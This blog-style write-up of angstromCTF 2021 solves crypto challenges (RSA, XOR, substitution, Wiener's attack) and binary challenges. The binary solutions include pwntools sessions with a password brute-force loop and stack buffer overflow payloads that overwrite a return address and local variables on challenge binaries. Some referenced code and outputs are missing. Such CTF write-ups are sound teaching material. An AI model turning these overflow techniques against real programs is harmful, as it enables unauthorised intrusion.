angstromCTF 2021 Writeups

10 min readApr 8, 2021
  1. [Crypto] Relatively Simple Algorithm
  2. [Crypto] Exclusive Cipher
  3. [Crypto] Keysar v2
  4. [Crypto] sosig
  5. [Binary] Secure Login
  6. [Binary] tranquil
  7. [Binary] Sanity Checks

[Crypto] Relatively Simple Algorithm [40]


n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 10864485158475691897785142521639836330781000210189423011287091723451951610180283857631511649079479027112130353186851953406105053056298142082602063838397998301027166017550640238950447769518433944243137063001957269365958032249980121504153513256559586412311362623923242018337876522904503710806515529917807480943


Well there is not much to explain:


[Crypto] Exclusive Cipher [40]




This one is pretty easy. We know the key length and we know that flag starts with actf{ , that’s 5 bytes. So we can XOR actf{ with some 5 bytes of cyphertext to get the key. But we don’t know where exactly flag starts, therefore we have to drag actf{ through the text and XOR it with text at different offsets to get different keys. After that we can use those keys to decrypt text, and if some particular key is correct we will decrypt text successfully. I made python script for this:

Here’s an output with the flag:

[Crypto] Keysar v2 [40]



Let’s look at the source code

The only thing we need to understand here is that this is actually just a monoalphabetic substitution cipher. So we can try to decrypt it with some automated tool, for example.


quutcvbmy ft qii amtkm iqkd tx qjbqfbtm, fzwcw bd mt kqo q sww dztgiv sw qsiw ft xio. bfd kbmyd qcw ftt drqii ft ywf bfd xqf ibffiw stvo txx fzw yctgmv. fzw sww, tx utgcdw, xibwd qmokqo swuqgdw swwd vtm’f uqcw kzqf zgrqmd fzbma bd brhtddbsiw. owiitk, siqua. owiitk, siqua. owiitk, siqua. owiitk, siqua. ttz, siqua qmv owiitk! iwf’d dzqaw bf gh q ibffiw. sqcco! scwqaxqdf bd cwqvo! utrbmy! zqmy tm q dwutmv. zwiit? sqcco? qvqr? uqm otg swibwjw fzbd bd zqhhwmbmy? b uqm’f. b’ii hbua otg gh. ittabmy dzqch. gdw fzw dfqbcd. otgc xqfzwc hqbv yttv rtmwo xtc fztdw. dtcco. b’r wnubfwv. zwcw’d fzw ycqvgqfw. kw’cw jwco hctgv tx otg, dtm. q hwcxwuf cwhtcf uqcv, qii s’d. jwco hctgv. rq! b ytf q fzbmy ytbmy zwcw. otg ytf ibmf tm otgc xgpp. tk! fzqf’d rw! kqjw ft gd! kw’ii sw bm ctk 118,000. sow! sqcco, b ftiv otg, dfth xiobmy bm fzw ztgdw! zwo, qvqr. zwo, sqcco. bd fzqf xgpp ywi? q ibffiw. dhwubqi vqo, ycqvgqfbtm. mwjwc fztgyzf b’v rqaw bf. fzcww vqod ycqvw duztti, fzcww vqod zbyz duztti. fztdw kwcw qkakqcv. fzcww vqod utiiwyw. b’r yiqv b ftta q vqo qmv zbfuzzbawv qctgmv fzw zbjw. otg vbv utrw squa vbxxwcwmf. zb, sqcco. qcfbw, yctkbmy q rgdfquzw? ittad yttv. zwqc qstgf xcqmabw? owqz. otg ytbmy ft fzw xgmwcqi? mt, b’r mtf ytbmy. wjwcostvo amtkd, dfbmy dtrwtmw, otg vbw. vtm’f kqdfw bf tm q degbccwi. dguz q ztfzwqv. b ygwdd zw utgiv zqjw lgdf ytffwm tgf tx fzw kqo. b itjw fzbd bmutchtcqfbmy qm qrgdwrwmf hqca bmft tgc vqo. fzqf’d kzo kw vtm’f mwwv jquqfbtmd. sto, egbfw q sbf tx htrh… gmvwc fzw ubcugrdfqmuwd. kwii, qvqr, ftvqo kw qcw rwm. kw qcw! sww-rwm. qrwm! zqiiwiglqz! dfgvwmfd, xqugifo, vbdfbmygbdzwv swwd, hiwqdw kwiutrw vwqm sgppkwii. kwiutrw, mwk zbjw ubfo ycqvgqfbmy uiqdd tx… …9:15. fzqf utmuigvwd tgc uwcwrtmbwd. qmv swybmd otgc uqcwwc qf ztmwn bmvgdfcbwd! kbii kw hbua tgclts ftvqo? b zwqcv bf’d lgdf tcbwmfqfbtm. zwqvd gh! zwcw kw yt. awwh otgc zqmvd qmv qmfwmmqd bmdbvw fzw fcqr qf qii fbrwd. ktmvwc kzqf bf’ii sw ibaw? q ibffiw duqco. kwiutrw ft ztmwn, q vbjbdbtm tx ztmwdut qmv q hqcf tx fzw zwnqytm yctgh. fzbd bd bf! ktk. ktk. kw amtk fzqf otg, qd q sww, zqjw ktcawv otgc kztiw ibxw ft ywf ft fzw htbmf kzwcw otg uqm ktca xtc otgc kztiw ibxw. ztmwo swybmd kzwm tgc jqibqmf htiiwm ltuad scbmy fzw mwufqc ft fzw zbjw. tgc fth-dwucwf xtcrgiq bd qgftrqfbuqiio utitc-utccwufwv, duwmf-qvlgdfwv qmv sgssiw-utmftgcwv bmft fzbd dttfzbmy dkwwf docgh kbfz bfd vbdfbmufbjw ytivwm yitk otg amtk qd… ztmwo! fzqf ybci kqd ztf. dzw’d ro utgdbm! dzw bd? owd, kw’cw qii utgdbmd. cbyzf. otg’cw cbyzf. qf ztmwn, kw utmdfqmfio dfcbjw ft brhctjw wjwco qdhwuf tx sww wnbdfwmuw. fzwdw swwd qcw dfcwdd-fwdfbmy q mwk zwirwf fwuzmtityo. kzqf vt otg fzbma zw rqawd? mtf wmtgyz. zwcw kw zqjw tgc iqfwdf qvjqmuwrwmf, fzw acwirqm. qufx{awowvuqwdqcrtcwibawdgsdfbfgfbtm}


according to all known laws of aviation, there is no way a bee should be able to fly. its wings are too small to get its fat little body off the ground. the bee, of course, flies anyway because bees don’t care what humans think is impossible. yellow, black. yellow, black. yellow, black. yellow, black. ooh, black and yellow! let’s shake it up a little. barry! breakfast is ready! coming! hang on a second. hello? barry? adam? can you believe this is happening? i can’t. i’ll pick you up. looking sharp. use the stairs. your father paid good money for those. sorry. i’m excited. here’s the graduate. we’re very proud of you, son. a perfect report card, all b’s. very proud. ma! i got a thing going here. you got lint on your fuzz. ow! that’s me! wave to us! we’ll be in row 118,000. bye! barry, i told you, stop flying in the house! hey, adam. hey, barry. is that fuzz gel? a little. special day, graduation. never thought i’d make it. three days grade school, three days high school. those were awkward. three days college. i’m glad i took a day and hitchhiked around the hive. you did come back different. hi, barry. artie, growing a mustache? looks good. hear about frankie? yeah. you going to the funeral? no, i’m not going. everybody knows, sting someone, you die. don’t waste it on a squirrel. such a hothead. i guess he could have just gotten out of the way. i love this incorporating an amusement park into our day. that’s why we don’t need vacations. boy, quite a bit of pomp… under the circumstances. well, adam, today we are men. we are! bee-men. amen! hallelujah! students, faculty, distinguished bees, please welcome dean buzzwell. welcome, new hive city graduating class of… …9:15. that concludes our ceremonies. and begins your career at honex industries! will we pick ourjob today? i heard it’s just orientation. heads up! here we go. keep your hands and antennas inside the tram at all times. wonder what it’ll be like? a little scary. welcome to honex, a division of honesco and a part of the hexagon group. this is it! wow. wow. we know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. honey begins when our valiant pollen jocks bring the nectar to the hive. our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as… honey! that girl was hot. she’s my cousin! she is? yes, we’re all cousins. right. you’re right. at honex, we constantly strive to improve every aspect of bee existence. these bees are stress-testing a new helmet technology. what do you think he makes? not enough. here we have our latest advancement, the krelman. actf{keyedcaesarmorelikesubstitution}

[Crypto] sosig


n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227


This is a classic Wiener attack. So we can use owiener Python module to find private exponent:

>>> import owiener
>>> n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
>>> e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799

>>> d = owiener.attack(e, n)
>>> d
>>> c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
>>> t = pow(c, d, n)
>>> bytes.fromhex(hex(t)[2:])

[Binary] Secure Login [50]



That’s really simple task. Let’s look at the source code:

We are required to enter the password. If it is equal to the one randomly generated than we will get the flag. But how can we guess the password if it is generated randomly every time program runs? Well the thing is that we don’t really need to guess it. You see /dev/urandom generates random bytes sequence. So it will generate values in range 0–255, right? There is a 1/256 chance that first byte in generated password will be 0. And 0 is the end of string therefore generated password will be considered as empty string.

This means that we can just send empty passwords until function generate_password() will generate empty password and strcmp() will return 0.

We are provided with interactive shell directly on the CTF web page. Therefore I didn’t bother to write server-client interaction and implemented exploit on that shell:

team7720@actf:~$ cd /problems/2021/secure_login
team7720@actf:/problems/2021/secure_login$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from pwn import *
>>> ans = b”Wrong”
>>> while b”Wrong” in ans:
… c = process(“./login”)
… c.sendline(b””)
… ans = c.recvall()

After I press Enter I just need to be patient and wait until empty password is generated:

[x] Starting local process ‘./login’
[+] Starting local process ‘./login’: pid 38379
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 69B
[*] Process ‘./login’ stopped with exit code 0 (pid 38379)
[+] Receiving all data: Done (69B)
[x] Starting local process ‘./login’
[+] Starting local process ‘./login’: pid 38380
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process ‘./login’ stopped with exit code 0 (pid 38380)
[x] Receiving all data: 107B
[+] Receiving all data: Done (107B)
>>> print(ans)
b’Welcome to my ultra secure login service!\nEnter the password: actf{if_youre_reading_this_ive_been_hacked}\n\n’

[Binary] tranquil [70]



So we have the source code and an executable. Let’s look at the source code:

We can see function win() that prints us flag, but it’s not called anywhere in the program. Seems like we will have to call it by ourselves. Alright, so let’s find where we can call this function.

In main() function vuln() is called. And vuln() function asks us to enter the password but no matter if we enter correct or incorrect password nothing interesting is happened. But for reading user input gets() is used, and as we know this function is vulnerable because it doesn’t check input length, so we actually can write any amount of data we want to the function stack. That means we can overflow array password[64] and rewrite return address for vuln() function.

Attack mechanism is clear, now we only need to determine two parameters:

  1. Count of bytes to overflow stack. One would think that there is only one local variable in function vuln() with size of 64 bytes, so there must be exactly 64 bytes allocated for function stack. But compiler can make it more for performance enhance.
  2. Address of win() function.

Let’s decompile executable to determine those values. As you can see on the screenshot, first value is 0x48. That’s 76 decimal.

And second value is address of first instruction in win() function. Which is 0x00401196.

Exploit commands:

team7720@actf:~$ cd /problems/2021/tranquil
team7720@actf:/problems/2021/tranquil$ ls
flag.txt tranquil tranquil.c
team7720@actf:/problems/2021/tranquil$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from pwn import *
>>> payload = b”a” * 0x48 + b”\x96\x11\x40\x00"
>>> payload
>>> c = process(“./tranquil”)
[x] Starting local process ‘./tranquil’
[+] Starting local process ‘./tranquil’: pid 25687
>>> c.sendline(payload)
>>> c.recvall()
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process ‘./tranquil’ stopped with exit code -11 (SIGSEGV) (pid 25687)
[x] Receiving all data: 146B
[+] Receiving all data: Done (146B)
b’Enter the secret word: \nLogin failed!\nactf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}\n\n’

[Binary] Sanity Checks [80]



That’s another buffer overflow challenge. Let’s check the source code:

We need to pass all checks to get the flag, but the only variable we can write (by programmer intention) is password. But password is read by gets() function which is vulnerable as we know.

Alright, we know what to do, let’s decompile the executable and define the payload we should send.

Now, local_68 is our password. It must be equal to string password123 . So, first we add to our payload password123 . Here we want strcmp()to stop, so we add \x00.

Current payload: password123\x00

Next value we need to write is local_1c. It is located at the offset 0x1c according to its name. So there are 0x68 — 0x1c-12= 76bytes. 12 bytes we have already entered so 64 bytes left to write.

Current payload: password123 + \x00 * 65.

Fine. According to the decompiled code local_1c must be equal 0x11 . It is integer value, therefore we add 4 bytes \x11\x00\x00\x00 to our payload.

Current payload: password123 + \x00 * 65 + \x11\x00\x00\x00.

Between other variables there are no space to fill, so other values we will add right after local_1c. These values are:

local_18 = \x3d\x00\x00\x00

local_14 = \xf5\x00\x00\x00

local_10 = \x37\x00\x00\x00

local_c = \x32\x00\x00\x00

Final payload is password123 + \x00 * 65 + \x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00 .

Full exploit code:

Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from pwn import *
>>> c = process(“./checks”)
[x] Starting local process ‘./checks’
[+] Starting local process ‘./checks’: pid 129836
>>> c.sendline(b”password123" + b”\x00" * 65 + b”\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00")

>>> c.recvall()
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process ‘./checks’ stopped with exit code 56 (pid 129836)
[x] Receiving all data: 160B
[+] Receiving all data: Done (160B)
b”Enter the secret word: Logged in! Let’s just do some quick checks to make sure everything’s in order…\nactf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}\n”